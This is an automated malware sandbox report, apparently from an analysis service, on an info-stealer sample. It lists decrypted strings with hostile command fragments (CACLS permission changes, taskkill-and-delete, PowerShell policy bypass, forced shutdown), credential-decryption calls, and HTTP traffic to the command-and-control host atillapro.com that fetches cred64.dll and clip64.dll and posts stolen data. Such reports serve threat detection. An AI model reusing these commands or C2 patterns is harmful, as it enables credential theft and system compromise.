Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Norton
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Sophos
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Comodo
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: WinDefender
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: 0123456789
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: ------
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: ?scr=1
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: ComputerName
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: -unicode-
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: VideoID
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: DefaultSettings.XResolution
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: DefaultSettings.YResolution
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: ProductName
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: CurrentBuild
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: echo Y\|CACLS "
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: " /P "
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: CACLS "
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: :R" /E
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: :F" /E
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: &&Exit
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: rundll32.exe
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: "taskkill /f /im "
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: " && timeout 1 && del
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: && Exit"
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: " && ren
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Powershell.exe
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: -executionpolicy remotesigned -File "
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: shutdown -s -t 0

Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BFFF7C CryptUnprotectData,	13_3_00007DF488BFFF7C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A3098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW,	25_2_030A3098
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A3717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW,	25_2_030A3717
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A3E04 RtlCompareMemory,CryptUnprotectData,	25_2_030A3E04
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,	25_2_030A123B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A1198 CryptBinaryToStringA,CryptBinaryToStringA,	25_2_030A1198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A11E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW,	25_2_030A11E1
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A1FCE CryptUnprotectData,RtlMoveMemory,	25_2_030A1FCE

Source: xwREqjHUEv.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: xwREqjHUEv.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wkernel32.pdb source: dialer.exe, 00000008.00000003.2107474129.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: dialer.exe, 00000008.00000003.2106681750.0000000005680000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2106830579.0000000005870000.00000004.00000001.00020000.00000000.sdmp, F324.exe, 00000017.00000003.2780142315.0000000003B00000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: dialer.exe, 00000008.00000003.2107068189.0000000005680000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2107215768.0000000005820000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: dialer.exe, 00000008.00000003.2106681750.0000000005680000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2106830579.0000000005870000.00000004.00000001.00020000.00000000.sdmp, F324.exe, 00000017.00000003.2780142315.0000000003B00000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: dialer.exe, 00000008.00000003.2107068189.0000000005680000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2107215768.0000000005820000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: dialer.exe, 00000008.00000003.2107474129.00000000057A0000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005A14DE FindFirstFileExW,	24_2_005A14DE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	25_2_030A2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	25_2_030A3ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	25_2_030A1D4A

Source: C:\Windows\System32\OpenWith.exe

Code function: 13_3_00007DF488C08E20 GetLogicalDriveStringsW,

13_3_00007DF488C08E20

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\System32\OpenWith.exe	Code function: 4x nop then dec esp	13_3_00007DF488C0BFA1
Source: C:\Windows\System32\OpenWith.exe	Code function: 4x nop then dec esp	13_2_0000024AB87F0511
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 4x nop then dec esp	14_2_000001FF71025641
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 4x nop then ret	14_2_000001FF7102108E

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe

Network Connect: 185.196.8.137 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://atillapro.com/
Source: Malware configuration extractor	URLs: https://atillapro.com/
Source: Malware configuration extractor	URLs: atillapro.com/vsdjcn3khS/index.php

Source: global traffic	HTTP traffic detected: GET /vsdjcn3khS/Plugins/cred64.dll HTTP/1.1Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: GET /vsdjcn3khS/Plugins/clip64.dll HTTP/1.1Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
